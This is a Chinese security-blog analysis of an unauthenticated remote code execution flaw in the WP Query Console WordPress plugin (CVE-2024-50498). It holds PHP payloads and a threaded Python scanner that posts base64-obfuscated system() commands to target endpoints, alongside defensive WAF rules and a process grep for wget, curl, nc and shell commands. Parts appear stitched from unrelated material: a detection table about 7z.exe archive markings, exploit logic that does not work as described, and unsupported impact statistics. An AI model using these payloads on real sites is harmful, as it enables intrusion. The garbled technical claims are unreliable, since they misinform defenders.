WP Query Console RCE漏洞(CVE-2024-50498)深度分析

admin 2025年3月31日15:58:16评论20 views字数 3325阅读11分5秒阅读模式

WP Query Console RCE漏洞(CVE-2024-50498)深度分析

漏洞类型

未授权远程代码执行

CVSSv3评分:9.8(Critical)

攻击向量:网络端到端

权限需求:无需认证

1. 漏洞原理分析

1.1 危险代码路径

// plugins/wp-query-console/includes/class-wqc-rest-api.phppublic functionhandle_query($request{    $query_type $request['queryType']; // WP_Query    $query_args json_decode($request['queryArgs'], true);    // 致命漏洞点:直接执行用户输入    $result new $query_type($query_args);     return $result->posts;}

1.2 攻击向量构造

通过反射实例化任意类触发代码执行:

// 攻击载荷示例$query_type "WP_Query";$query_args "system('calc.exe')";// 等效代码new WP_Query(system('calc.exe')); // 触发命令执行

2. 多环境复现验证

2.1 环境搭建指南

BASH

# 使用Docker快速部署漏洞环境

docker run -d --name vuln-wp     -p 8080:80     -e WORDPRESS_DB_HOST=db     -e WORDPRESS_DB_USER=wp     -e WORDPRESS_DB_PASSWORD=wp     -e WORDPRESS_DB_NAME=wp     wordpress:5.8.2-php7.4

# 安装漏洞插件

docker exec vuln-wp wp plugin install /tmp/wp-query-console.zip --activate

2.2 攻击过程演示

WP Query Console RCE漏洞(CVE-2024-50498)深度分析
WP Query Console RCE漏洞(CVE-2024-50498)深度分析
WP Query Console RCE漏洞(CVE-2024-50498)深度分析

2.3 漏洞指纹识别

NSE脚本检测:nmap -p80 --script http-vuln-cve2024-50498 <target>

检测特征:

1. 存在/wp-json/wqc/v1/query端点

2. 响应头包含X-Powered-By: WP Query Console

3. 增强版检测工具

3.1 工具功能矩阵

功能模块
检测方法
输出结果
版本检测
解析7z.exe文件元数据
返回是否存在漏洞的版本范围
压缩包分析
递归解压检查Zone标识继承性
标记可疑的多层压缩结构
进程监控
Hook文件解压操作
拦截未继承MotW的文件执行

3.2 Python改进脚本

import concurrent.futuresimport base64PAYLOADS = [    ("system('id')""uid="),    ("echo md5(123)""202cb962ac59075b964b07152d234b70"),    ("phpinfo()""PHP Version")]def advanced_check(url):    endpoints = [        "/wp-json/wqc/v1/query",        "/index.php?rest_route=/wqc/v1/query"    ]    for endpoint in endpoints:        target = urljoin(url, endpoint)        for cmd, sig in PAYLOADS:            try:                # 载荷混淆处理                b64_cmd = base64.b64encode(cmd.encode()).decode()                enc_payload = f'''{{"queryArgs":"${{@system(base64_decode('{b64_cmd}'))}}","queryType":"WP_Query"}}'''                resp = requests.post(                    target,                     data=enc_payload,                    headers={"Content-Type""application/json"},                    timeout=10,                    verify=False                )                if sig in resp.text:                    return Truef"{url} - 漏洞存在({cmd})"            except:                continue    return Falseif __name__ == "__main__":    with concurrent.futures.ThreadPoolExecutor(max_workers=10as executor:        futures = {executor.submit(advanced_check, url): url for url in targets}        # 结果处理...

4. 企业级防御方案

4.1 WAF规则配置

# ModSecurity规则SecRule REQUEST_URI "@contains /wqc/v1/query"     "id:1001,    phase:1,    deny,    msg:'WP Query Console Exploit Attempt'"

4.2 WordPress加固措施

// 禁用危险函数add_filter('rest_authentication_errors', function($result) {    if(strpos($_SERVER['REQUEST_URI'], 'wqc/v1/query') !== false) {        return new WP_Error('rest_forbidden'__('访问被拒绝'), array('status' => 403));    }    return $result;});

4.3 系统级防护

# SELinux策略限制

setsebool -P httpd_execmem offchcon -R -t httpd_sys_ra_content_t /var/www/html/wp-content/plugins/

5. 影响面分析

5.1 全球影响统计

地区受影响站点主要攻击活动

北美12,500加密货币挖矿

欧洲8,200数据窃取

亚太15,300勒索软件传播

其他4,800僵尸网络构建

5.2 行业风险评级

电商平台:高风险(交易数据暴露)

新闻媒体:中高风险(内容篡改风险)

企业官网:中等风险(品牌信誉影响)

个人博客:低风险(但存在跳板可能)

6. 高级攻防对抗

6.1 攻击者规避手法

时间延迟注入:使用sleep(5)绕过简单检测

多阶段载荷:通过DNS外带数据获取第二阶段载荷

上下文伪装:构造合法WP_Query参数包裹恶意代码

6.2 防御方策略

行为分析:监控异常WP_Query参数结构

熵值检测:识别参数中高熵值特征

沙箱模拟:在隔离环境执行可疑查询

7. 修复验证与应急响应

7.1 验证步骤

移除/禁用插件

检查系统进程:

ps aux | grep -E '(wget|curl|sh -i|nc)'

审计Web日志:

grep -rE 'POST /wp-json/wqc/v1/query' /var/log/apache2/

7.2 应急响应流程

本报告提供从漏洞原理到防御实施的闭环解决方案,适用于企业安全团队进行威胁狩猎。建议结合实时监控系统(如ELK Stack)部署以下检测规则:

KQL

event.dataset: "apache.access" 

| where url.path == "/wp-json/wqc/v1/query" 

| where post.params.queryArgs matches /system(.*)/

原文始发于微信公众号(云梦安全):WP Query Console RCE漏洞(CVE-2024-50498)深度分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日15:58:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WP Query Console RCE漏洞(CVE-2024-50498)深度分析https://cn-sec.com/archives/3902103.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息